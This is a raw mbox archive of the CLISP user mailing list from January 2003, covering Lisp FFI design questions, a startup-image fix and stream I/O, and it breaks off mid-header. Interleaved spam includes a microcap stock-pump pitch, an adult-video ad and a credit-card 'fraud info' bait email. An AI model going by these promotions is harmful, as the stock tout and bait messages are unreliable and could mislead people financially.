http://www.xml-edifact.org/ CETERUM CENSEO WINDOWS ESSE DELENDAM From sfines@kamigakari.com Tue Jan 21 14:34:43 2003 Received: from pochacco.ex.dreamhost.com ([66.33.206.17] ident=postfix) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 18b6yh-0002QH-00 for ; Tue, 21 Jan 2003 14:34:43 -0800 Received: from kamigakari.com (localhost [127.0.0.1]) by pochacco.ex.dreamhost.com (Postfix) with SMTP id 5A0D58FCE1 for ; Tue, 21 Jan 2003 14:34:41 -0800 (PST) Received: from 66.7.140.3 (SquirrelMail authenticated user sfines@kamigakari.com) by webmail.kamigakari.com with HTTP; Tue, 21 Jan 2003 14:34:41 -0800 (PST) Message-ID: <3401.66.7.140.3.1043188481.squirrel@webmail.kamigakari.com> From: To: In-Reply-To: References: User-Agent: DreamHost Webmail MIME-Version: 1.0 Content-Type: text/plain; charset=iso-8859-1 Content-Transfer-Encoding: 8bit Subject: [clisp-list] Re: clisp-list -- confirmation of subscription -- request 244427 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Tue Jan 21 14:35:06 2003 X-Original-Date: Tue, 21 Jan 2003 14:34:41 -0800 (PST) > clisp-list -- confirmation of subscription -- request 244427 > > We have received a request from 66.7.140.3 for subscription of your > email address, , to the > clisp-list@lists.sourceforge.net mailing list. To confirm the > request, please send a message to > clisp-list-request@lists.sourceforge.net, and either: > > - maintain the subject line as is (the reply's additional "Re:" is ok), > > - or include the following line - and only the following line - in the > message body: > > confirm 244427 > > (Simply sending a 'reply' to this message should work from most email > interfaces, since that usually leaves the subject line in the right > form.) > > If you do not wish to subscribe to this list, please simply disregard > this message. Send questions to > clisp-list-admin@lists.sourceforge.net. From offer1@cfl.rr.com Tue Jan 21 17:03:18 2003 Received: from smtp-server2.tampabay.rr.com ([65.32.1.39]) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 18b9IT-0002bD-00 for ; Tue, 21 Jan 2003 17:03:18 -0800 Received: from david-congero (207.107.35.65.cfl.rr.com [65.35.107.207] (may be forged)) by smtp-server2.tampabay.rr.com (8.12.2/8.12.2) with SMTP id h0M12PNp000613 for ; Tue, 21 Jan 2003 20:03:16 -0500 (EST) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii From: offer1 To: clisp-list@sourceforge.net Message-ID: <200312172196clisp-list@clisp.cons.org> Subject: [clisp-list] Credit Card Fraud Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Tue Jan 21 17:04:05 2003 X-Original-Date: Tue, 21 Jan 2003 20:03:16 -0600 Would you like to know more about credit card fraud on the internet and how to stop it? Simply reply to this email with " Credit Card Fraud" in the subject line for more infromation. Thank you for your time To be removed from our database simply reply to this email with the word Remove in the subject line. Thank you for your time From sat2975@hotmail.com Tue Jan 21 18:55:10 2003 Received: from f73.sea2.hotmail.com ([207.68.165.73] helo=hotmail.com) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 18bB2k-0004ZZ-00 for ; Tue, 21 Jan 2003 18:55:10 -0800 Received: from mail pickup service by hotmail.com with Microsoft SMTPSVC; Tue, 21 Jan 2003 18:53:34 -0800 Received: from 64.45.217.124 by sea2fd.sea2.hotmail.msn.com with HTTP; Wed, 22 Jan 2003 02:53:34 GMT X-Originating-IP: [64.45.217.124] From: "sathyan kuppuswamy" To: clisp-list@lists.sourceforge.net Bcc: Mime-Version: 1.0 Content-Type: text/plain; format=flowed Message-ID: X-OriginalArrivalTime: 22 Jan 2003 02:53:34.0881 (UTC) FILETIME=[7498B910:01C2C1C1] Subject: [clisp-list] CLisp vs XANALYS LispWorks Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Tue Jan 21 18:56:01 2003 X-Original-Date: Tue, 21 Jan 2003 21:53:34 -0500 Hi, I was wondering if someone can tell me if LispWorks by XANALYS provides a good Lisp development environment. I'm talking about the free version here. Basically I want to know if its better than CLisp or the same or worse than CLisp. LispWorks appears to have some limits on the heap size etc Thanks, Sathyan Kuppuswamy sat2975@hotmail.com _________________________________________________________________ Add photos to your e-mail with MSN 8. Get 2 months FREE*. http://join.msn.com/?page=features/featuredemail From blondguyqkgp@mailpride.com Wed Jan 22 07:05:56 2003 Received: from host171-221.pool8172.interbusiness.it ([81.72.221.171] helo=mailpride.com) by sc8-sf-list1.sourceforge.net with smtp (Exim 3.31-VA-mm2 #1 (Debian)) id 18bMRu-0003kF-00 for ; Wed, 22 Jan 2003 07:05:55 -0800 Message-ID: <000800c2bc85$ebc78172$01613765@kgjbmcw.jav> From: To: MIME-Version: 1.0 Content-Type: text/html; charset="shift-jis" X-Priority: 3 X-Mailer: eGroups Message Poster Importance: Normal Subject: [clisp-list] A D V:V삨”â˜I–Ú‚Ì‚¨’m‚点B 2304viGm4-860o-13 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Wed Jan 22 07:06:06 2003 X-Original-Date: Wed, 22 Jan 2003 20:04:52 -0500 ÅVލ‚æ‚èî•ñ‹äŠy•”

------------------------------------------------------
휊ó–]‚Íhillbeeper@yahoo.com.br‚Ö‹óƒ[ƒ‹‚ð‘—M‚µ‚Ä‚­‚¾‚³‚¢B
------------------------------------------------------

‚Ç[‚à‚ÁI

‚¨“¾î•ñ‚Í‚±‚¿‚ç

‚¢‚܃Cƒ`ƒoƒ“ƒzƒbƒg‚Èî•ñ‚ð‚¢‚¿‘‚­‚¨“Í‚¯‚µ‚Ä‚¢‚Ü‚·B
¡T‚à‚Ý‚ñ‚È‚æ‚èæŽæ‚肵‚Ä’´‚¨“¾î•ñ‚ðƒQƒbƒg‚µ‚Ä‚­‚¾‚³‚¢I

PRFF‚Ü‚¾‚Ç‚±‚É‚à˜Io‚µ‚Ä‚¢‚È‚¢’´”–Á‚µƒrƒfƒI‚͂Ȃñ‚ƃƒCƒLƒ“ƒO“ü‚èI
ŽB‰eŒ»ê‚Ì—lŽq‚àŠy‚µ‚ß‚é—Õꊴ‚ ‚Ó‚ê‚éƒrƒfƒIW‚ðƒIƒ“ƒ‰ƒCƒ“‚Å‚¨Šy‚µ‚Ý‚­‚¾‚³‚¢B

Úׂ͂±‚¿‚ç




9579cdcJ4-646eVLl5707Pfev0-106cxjk6009Qacf2-514utFU2673lSzv0-856PESd0125JtJul72 From smustudent1@yahoo.com Wed Jan 22 13:21:21 2003 Received: from web12204.mail.yahoo.com ([216.136.173.88]) by sc8-sf-list1.sourceforge.net with smtp (Exim 3.31-VA-mm2 #1 (Debian)) id 18bSJF-0002PK-00 for ; Wed, 22 Jan 2003 13:21:21 -0800 Message-ID: <20030122212121.88751.qmail@web12204.mail.yahoo.com> Received: from [128.175.78.141] by web12204.mail.yahoo.com via HTTP; Wed, 22 Jan 2003 13:21:21 PST From: C Y To: clisp-list@lists.sourceforge.net MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Subject: [clisp-list] Help with compiling Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Wed Jan 22 13:22:03 2003 X-Original-Date: Wed, 22 Jan 2003 13:21:21 -0800 (PST) Hi! I've been trying to run clisp on gentoo using the full image with clx compiled in, but whenever I do I get this message: bash-2.05b$ clisp -M /usr/lib/clisp/full/lispinit.mem /usr/lib/clisp/base/lisp.run: initialization file was not created by this version of LISP Does anyone know what might be causing this problem? Thanks much, CY __________________________________________________ Do you Yahoo!? Yahoo! Mail Plus - Powerful. Affordable. Sign up now. http://mailplus.yahoo.com From sds@gnu.org Wed Jan 22 13:53:55 2003 Received: from pop018pub.verizon.net ([206.46.170.212] helo=pop018.verizon.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 18bSok-0008VG-00 for ; Wed, 22 Jan 2003 13:53:54 -0800 Received: from loiso.podval.org ([151.203.48.207]) by pop018.verizon.net (InterMail vM.5.01.05.09 201-253-122-126-109-20020611) with ESMTP id <20030122215348.NVXO1680.pop018.verizon.net@loiso.podval.org>; Wed, 22 Jan 2003 15:53:48 -0600 Received: from loiso.podval.org (loiso [127.0.0.1]) by loiso.podval.org (8.12.7/8.12.6) with ESMTP id h0MLs4SM014256; Wed, 22 Jan 2003 16:54:04 -0500 Received: (from sds@localhost) by loiso.podval.org (8.12.7/8.12.7/Submit) id h0MLs3cZ014252; Wed, 22 Jan 2003 16:54:03 -0500 X-Authentication-Warning: loiso.podval.org: sds set sender to sds@gnu.org using -f To: C Y Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] Help with compiling References: <20030122212121.88751.qmail@web12204.mail.yahoo.com> Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: <20030122212121.88751.qmail@web12204.mail.yahoo.com> Message-ID: Lines: 23 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.3.50 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Authentication-Info: Submitted using SMTP AUTH at pop018.verizon.net from [151.203.48.207] at Wed, 22 Jan 2003 15:53:48 -0600 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Wed Jan 22 13:54:06 2003 X-Original-Date: 22 Jan 2003 16:54:03 -0500 > * In message <20030122212121.88751.qmail@web12204.mail.yahoo.com> > * On the subject of "[clisp-list] Help with compiling" > * Sent on Wed, 22 Jan 2003 13:21:21 -0800 (PST) > * Honorable C Y writes: > > Hi! I've been trying to run clisp on gentoo using the full image with > clx compiled in, but whenever I do I get this message: > > bash-2.05b$ clisp -M /usr/lib/clisp/full/lispinit.mem > /usr/lib/clisp/base/lisp.run: initialization file was not created by > this version of LISP > > Does anyone know what might be causing this problem? you are running full/lispinit.mem with base/lisp.run. try "clisp -K full". see -- Sam Steingold (http://www.podval.org/~sds) running RedHat8 GNU/Linux Binaries die but source code lives forever. From m6610@prodigy.net.mx Wed Jan 22 14:55:48 2003 Received: from dsl-200-67-200-18.prodigy.net.mx ([200.67.200.18] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with smtp (Exim 3.31-VA-mm2 #1 (Debian)) id 18bTmW-0003N5-00 for ; Wed, 22 Jan 2003 14:55:40 -0800 From: "produccioneskael@prodigy.net.mx" To:clisp-list@lists.sourceforge.net MIME-Version: 1.0 Content-Type: multipart/related; boundary="----=_NextPart_SBGNYVEKJO" Content-Transfer-Encoding: 7bit Message-ID: PM200004:55:39 p.m. Subject: [clisp-list] EL LANZAMIENTO MAS IMPORTANTE DEL 2003 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Wed Jan 22 14:56:05 2003 X-Original-Date: Mié, 22 Ene 2003 16:55:39 This is an HTML email message. If you see this, your mail client does not support HTML messages. ------=_NextPart_SBGNYVEKJO Content-Type: text/html;charset="iso-8859-1" Content-Transfer-Encoding: 7bit

 

El lanzamiento más importante del 2003

 

Disponible en CD Febrero de 2003

<Has sído seleccionado por alguno de nuestros afiliados para recibir este mensaje. Si no deseas recibir esta clase de anuncios en el futuro, es fácil ser rápidamente removido de esta lista de subscripción. Simplemente responde a este email con la palabra "Unsuscribe" en el asunto.>

 

------=_NextPart_SBGNYVEKJO-- From smustudent1@yahoo.com Wed Jan 22 22:13:24 2003 Received: from web12208.mail.yahoo.com ([216.136.173.92]) by sc8-sf-list1.sourceforge.net with smtp (Exim 3.31-VA-mm2 #1 (Debian)) id 18bac8-0005Ig-00 for ; Wed, 22 Jan 2003 22:13:24 -0800 Message-ID: <20030123061324.73008.qmail@web12208.mail.yahoo.com> Received: from [128.175.75.123] by web12208.mail.yahoo.com via HTTP; Wed, 22 Jan 2003 22:13:24 PST From: C Y Subject: Re: [clisp-list] Help with compiling To: sds@gnu.org Cc: clisp-list@lists.sourceforge.net In-Reply-To: MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Wed Jan 22 22:14:02 2003 X-Original-Date: Wed, 22 Jan 2003 22:13:24 -0800 (PST) --- Sam Steingold wrote: > you are running full/lispinit.mem with base/lisp.run. > try "clisp -K full". > see Whoopsie. Thanks Sam - worked perfectly. CY __________________________________________________ Do you Yahoo!? Yahoo! Mail Plus - Powerful. Affordable. Sign up now. http://mailplus.yahoo.com From Hotstocks@deliveryman.com Wed Jan 22 23:00:27 2003 Received: from pool-151-202-123-56.ny5030.east.verizon.net ([151.202.123.56] helo=computer) by sc8-sf-list1.sourceforge.net with smtp (Exim 3.31-VA-mm2 #1 (Debian)) id 18bbLY-0004FP-00 for ; Wed, 22 Jan 2003 23:00:21 -0800 From: "SLEEPING GIANT" To: Mime-Version: 1.0 Content-Type: text/html; charset="iso-8859-1" Message-Id: Subject: [clisp-list] (no subject) Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Wed Jan 22 23:01:03 2003 X-Original-Date: Thu, 23 Jan 2003 02:00:11
 



EXPLOSIVE INVESTMENT OPPORTUNITIES    
Undervalued and underfollowed stocks       

T&G2 (symbol: TTGG exchange OTC.BB ) has recently garnered national attention on the Alexander Haig show featuring their exciting Biometric Technolgy ! The stock is currently trading in the 12¢ range and could be a screaming buy ! This is just one of many potential "runaway situations" you'll find only at www.MicrocapHeadlines.com, "The premier online Investment community."

At MicrocapHeadlines you'll have the opportunity to get in on the ground floor with up and coming microcap stocks.


Disclaimer: Investing in microcap stocks involves a high degree of risk. Investigate before you invest.  MicrocapHeadlines.com is compensated by the companies profiled on the site in the form of a monthly fee and restricted stock, and/or Free Trading Shares.


MicrocapHeadlines.com
"The Best Kept Secrets on Wall Street"

Click here to view the full company profile for TTGG   

From Joerg-Cyril.Hoehle@t-systems.com Thu Jan 23 02:59:52 2003 Received: from mail1.telekom.de ([62.225.183.235]) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 18bf5F-00026H-00 for ; Thu, 23 Jan 2003 02:59:45 -0800 Received: from g8pbr.blf01.telekom.de by G8SBV.dmz.telekom.de with ESMTP; Thu, 23 Jan 2003 11:59:09 +0100 Received: by G8PBR.blf01.telekom.de with Internet Mail Service (5.5.2653.19) id ; Thu, 23 Jan 2003 11:58:55 +0100 Message-Id: <9F8582E37B2EE5498E76392AEDDCD3FE01542CDA@G8PQD.blf01.telekom.de> From: "Hoehle, Joerg-Cyril" To: clisp-list@lists.sourceforge.net Cc: haible@ilog.fr MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable Subject: [clisp-list] design question: internal and external representation Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Thu Jan 23 03:00:05 2003 X-Original-Date: Thu, 23 Jan 2003 11:58:37 +0100 Hi, for several years, CLISP's FFI has done quite a good job at hiding the = internal representation of a foreign function or variable type = specification. External: (c-function (:name "name_in_C") (:arguments (foo c-pointer = :out :none) ...) (:return-type ffi:int)) Internal: # Witness, FFI::parse-c-type and its converse ffi::deparse-c-type are not = even documented or exported from the FFI package. I believe this works well as long as most use of the FFI is static, = like in static (and top-level) declarations =E0 la DEF-CALL-OUT. I get headaches when it comes to dynamic stuff. Nevertheless, so far, I = managed to provide a couple of macros (even more to come) to work = around this and still hide the internals: e.g. WITH-C-VAR But this comes at cost to implementors: Many, if not all functions must = be duplicated, and calls to PARSE-C-TYPE inserted in between. That's part of why there are macros, which do this, and Lisp function = in foreign1.lisp as pure wrappers to built-in function in foreign.d. I want to provide a dynamic foreign-function constructor (cf. = alien-funcall etc. in CMUCL). It will be similar to: (defun FOREIGN-ADDRESS-FUNCTION (address typespec &optional C-name) (ffi::%FOREIGN-ADDRESS-FUNCTION address (ffi::parse-c-type typespec) = C-name)) Use e.g. in: (funcall (foreign-address-function (foreign-address unix:unix-read) = `(c-function (:arguments ((buffer (c-array uint16 ,len))) ...))) fd #(#xABDD #x1234 ...) ,len) ; contrieved example, don't do variable arrays this way (too much = overhead) I'm somewhat tired of these wrapping exercises. As I want to avoid the overhead of PARSE-C-TYPE at run-time as much as = possible, and most type declarations are static like (quote (c-function = ...)) anyway, there's room for either DEFINE-COMPILER-MACRO or macro = based optimisations which would do constant folding in appropriate = places. FOREIGN-ADDRESS-FUNCTION might end up as a macro (evaluating = all arguments). E.g. use of (CAST var '(c-array character 32)) has a huge run-time overhead, which can be completely eliminated, using = either LOAD-TIME-VALUE or by building the internal representation at = compile-time (possible for all simlpe cases). I wonder whether it should be better to 1) open the design: 2) document PARSE-C-TYPE and its converse, and present them like a = typical MAKE-* constructor 3) Document the functions that operate on the internal representation = only (all built-in functions) and 4) let the programmer insert PARSE-C-TYPE wher needed. The goals I pursue are: a) flexibility in the hands of the programmer (if needed) b) compile-time optimisation c) understandability Thank you very much in case you're still reading this! Regards, J=F6rg H=F6hle. From Joerg-Cyril.Hoehle@t-systems.com Thu Jan 23 03:05:08 2003 Received: from gw11.telekom.de ([62.225.183.250] helo=fw11.telekom.de) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 18bfAQ-0002hx-00 for ; Thu, 23 Jan 2003 03:05:06 -0800 Received: by fw11.telekom.de; (8.8.8/1.3/10May95) id MAA22952; Thu, 23 Jan 2003 12:00:10 +0100 (MET) Received: from g8pbr.blf01.telekom.de by G8PXB.blf01.telekom.de with ESMTP; Thu, 23 Jan 2003 11:58:34 +0100 Received: by G8PBR.blf01.telekom.de with Internet Mail Service (5.5.2653.19) id ; Thu, 23 Jan 2003 11:56:26 +0100 Message-Id: <9F8582E37B2EE5498E76392AEDDCD3FE01542CD7@G8PQD.blf01.telekom.de> From: "Hoehle, Joerg-Cyril" To: clisp-list@lists.sourceforge.net Cc: haible@ilog.fr MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable Subject: [clisp-list] design question: foreign-variable objects vs symbol macros Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Thu Jan 23 03:06:03 2003 X-Original-Date: Thu, 23 Jan 2003 11:56:23 +0100 Hi, So far, CLISP managed more or less well to hide the FOREIGN-VARIABLE = objects that the FFI uses for operations on foreign memory (e.g. CAST, = DEREF, ELEMENT etc.). I'm wondering whether it wouldn't be as easy to let programmers operate = on FOREIGN-VARIABLE objects, rename FFI::%CAST to FFI:CAST* etc., = document them and avoid a) the below mentioned risk of dererencing when not intended and b) half a dozen WITH- macrolet introducers. So far, the user seemingly only manipulated variables (symbol macros = defined via MACROLET), introduced via DEF-C-VAR or WITH-C-VAR. This is fine with lexical scoping: (ffi:with-c-var (dest `(c-array uint8 ,destlen)) ; no init (multiple-value-bind (status actual) (zlib-compress-string (ffi:c-var-address dest) destlen source = sourcelen) ...) I nevertheless find it potentially dangerous, because when you pass the = variable as an argument to any function, you instead dereference the = whole foreign object. (zlib-compress-string dest ...) ; WRONG (zlib-compress-string (ffi:c-var-address dest) ...) ; RIGHT The first form a) creates a Lisp array of :element-type '(unsigned-byte 8) with = :initial-contents taken from the address dest points to, b) allocates again a foreign array on the stack, c) fills it from the Lisp array and d) passes that to the function (if type declarations would fit, which = they do not in this particular case). Maybe this shows why Bruno Haible doesn't consider the FFI - he = designed himself back in 1995 - as a good match for todays = objectoriented programming. My feeling: the CLISP FFI can be made to match OO use. Otherwise I = wouldn't have invested that much effort in it. MIHO, with OO and/or foreign libraries, you pretty much work with = references to foreign objects (that is what FOREIGN-VARIABLE objects = are), instead of constantly converting foreign structures to similar = looking Lisp structures. I need references to foreign objects. I don't = want the X/MS/GDI window structure converted to a Lisp structure! The latter is IMHO even dangerous, because EQ-ness is lost: EQUALP is = not EQ! Now consider FOREIGN/SIMPLE-CALLOC type &key count read-only This function will return a FOREIGN-VARIABLE object. So the result is = currently unusable with any other documented FFI function, as these do = not operate on that type of object (but on symbol macros instead). So I must define yet another symbol-macro defining macro WITH-FOREIGN-ADDRESS (var addresss &optional type) &body This can be understood similar to CLOS' WITH-SLOTS: it makes the slots = visible/accessible. (setq memory (FOREIGN-CALLOC 'uint8 :count 50)) (with-foreign-address (buffer memory) (list buffer (element buffer 0))) ; return whole array (as Lisp = array) and the first element (as fixnum) So I can still mostly hide FOREIGN-VARIABLE objects and provide an = interface still based on CAST, DEREF, ELEMENT that FFI users have known = for long. But I'm getting tired of all these macro wrappers: WITH-FOREIGN-OBJECT, = WITH-C-VAR, WITH-FOREIGN-ADDRESS, WITH-FOREIGN-STRING and more to come. And I still dislike the risk of automatic conversion with those symbol = macros: (with-foreign-address (buffer memory) (unix:unix-read fd buffer 50) ; WRONG again, need (c-var-address = buffer) Instead, I could provide a patch to FOREIGN-CALL-OUT to accept = FOREIGN-VARIABLE objects in addition to FOREIGN-ADDRESS where C-POINTER = type declarations have been specified. But that is just part of the = iceberg. (unix:unix-read fd memory 50) ; WITH-SLOTS and buffer variable made = superfluous Thanks for your comments, J=F6rg H=F6hle. From Joerg-Cyril.Hoehle@t-systems.com Thu Jan 23 04:49:19 2003 Received: from gw11.telekom.de ([62.225.183.250] helo=fw11.telekom.de) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 18bgnG-0002KW-00 for ; Thu, 23 Jan 2003 04:49:18 -0800 Received: by fw11.telekom.de; (8.8.8/1.3/10May95) id NAA02094; Thu, 23 Jan 2003 13:44:26 +0100 (MET) Received: from g8pbr.blf01.telekom.de by G8PXB.blf01.telekom.de with ESMTP; Thu, 23 Jan 2003 13:49:13 +0100 Received: by G8PBR.blf01.telekom.de with Internet Mail Service (5.5.2653.19) id ; Thu, 23 Jan 2003 13:47:45 +0100 Message-Id: <9F8582E37B2EE5498E76392AEDDCD3FE01542D57@G8PQD.blf01.telekom.de> From: "Hoehle, Joerg-Cyril" To: kraehe@copyleft.de, clisp-list@lists.sourceforge.net MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: text/plain Subject: [clisp-list] read-line (clisp 2.30/woody) - read-no-hang-p and (format ~A) Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Thu Jan 23 04:50:03 2003 X-Original-Date: Thu, 23 Jan 2003 13:47:44 +0100 Michael Koehne wrote: >> It's not that good an idea to write out a string using >(format t "~A" #) BTW, never use that. That's what PRINC can do directly And (format nil "~A" x) is PRINC-TO-STRING or (WRITE-TO-STRING x :escape nil) where you even can add many additional keywords like :base for *print-base* etc. It's worth looking it up! > when you expect to look at non-printable characters. > *hm* whats the best way doing this ? I recently used (format t "-~:C-") -> -a--Newline--a--Null--Bell- >> > I think I need two low level lisp functions : >> > (unix-read array &optional stream) => count; errno >> > (unix-write array &optional stream) => count; errno >> Such a partial result only makes sense for the smallest entity: > > !NO! - think about 1000 users ;-( I want to read complete blocks, > as they are, as they come - low level. So only !ONE! read() call > per socket that has input. So i just need access to the low level > read and write. To implement the logic in LISP. I was unclear. READ-SOME-[8bit]BYTES does exactly that: one call. I was saying that there should be no READ-SOME-CHARS or above, as anything which can take more than 1 byte is causing headaches. There also was a thread in comp.lang.lisp last year about this. Here I quote Duane Rettig (from Allegro CL fame) in comp.lang.lisp: Checking for EOF >simple-streams offers a read-no-hang-p function to check _any_ >avaiability of data on the stream, including just one octet, whereas >listen, stream-listen, and read-char-no-hang all try to build a >character, and might end up either giving you a false end-of-file >indication half-a-character early, or else never giving you an eof >(each being consequenses of not being able to complete that last >character). >> My feeling is that CLISP ought to implement simple streams natively. > a simple stream means that there is 1 process waiting for read-line ? It has nothing to do with processes. IMHO it's a layered API to composable streams, where the lowest-level works in terms of 8bit bytes and above everything is possible. http://www.cliki.net/simple-stream There was also a speak or tutorial on them at the recent intl. Lisp conference (ILC). > does clisp has its internal multithreading ? or internal processes ? Not for the moment. There's also nothing similar to the cheap CMUCL functionality of input dispatchers (like in Emacs-Lisp): when waiting for input from the keyboard, CMUCL and Emacs check other fd/sockets for input and call handlers. Regards, Jorg Hohle. From Joerg-Cyril.Hoehle@t-systems.com Thu Jan 23 08:01:29 2003 Received: from mail1.telekom.de ([62.225.183.235]) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 18bjnD-00066x-00 for ; Thu, 23 Jan 2003 08:01:27 -0800 Received: from g8pbr.blf01.telekom.de by G8SBV.dmz.telekom.de with ESMTP for clisp-list@lists.sourceforge.net; Thu, 23 Jan 2003 17:01:19 +0100 Received: by G8PBR.blf01.telekom.de with Internet Mail Service (5.5.2653.19) id ; Thu, 23 Jan 2003 17:01:18 +0100 Message-Id: <9F8582E37B2EE5498E76392AEDDCD3FE01542E1E@G8PQD.blf01.telekom.de> From: "Hoehle, Joerg-Cyril" To: clisp-list@lists.sourceforge.net MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable Subject: [clisp-list] ext:make-buffered-input- and -output-stream are undocumented Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Thu Jan 23 08:02:03 2003 X-Original-Date: Thu, 23 Jan 2003 17:01:13 +0100 Hi, I just realized that these two functions - which have been in CLISP for = a decade - are missing from impnotes.html. They come in very handy when writing custom streams. MAKE-BUFFERED-INPUT-STREAM can make a stream take input from a = function, lazily! MAKE-BUFFERED-OUTPUT-STREAM does line buffering on output. This = enhances tiny write() pretty much. I prefer to report this here instead of filing a bug-report, so people = can start using them! For example, MAKE-BUFFERED-INPUT-STREAM might work nicely together with = non-blocking or single calls to read() on sockets and pipes(might need = enhancement to return ls_wait status to the listen function). A nice extension to the output behaviour would be to allow any kind of = buffering, e.g. in 4KB chunks. Both are limited to character streams. But see the cookbook on how to = do arbitrary 8bit output using character streams. http://cl-cookbook.sourceforge.net/io.html#faith Regards, J=F6rg H=F6hle. From info@orient-sky.com Fri Jan 24 08:24:27 2003 Received: from p6011-ipad04fukuokachu.fukuoka.ocn.ne.jp ([219.160.250.11] helo=orient-sky.com) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 18c6cu-0002GV-00 for ; Fri, 24 Jan 2003 08:24:20 -0800 Received: (from info@localhost) by orient-sky.com (8.11.6/8.11.6) id h0N1p7J26039 for clisp-list@lists.sourceforge.net; Thu, 23 Jan 2003 10:51:07 +0900 Message-Id: <200301230151.h0N1p7J26039@orient-sky.com> To: clisp-list@lists.sourceforge.net From: 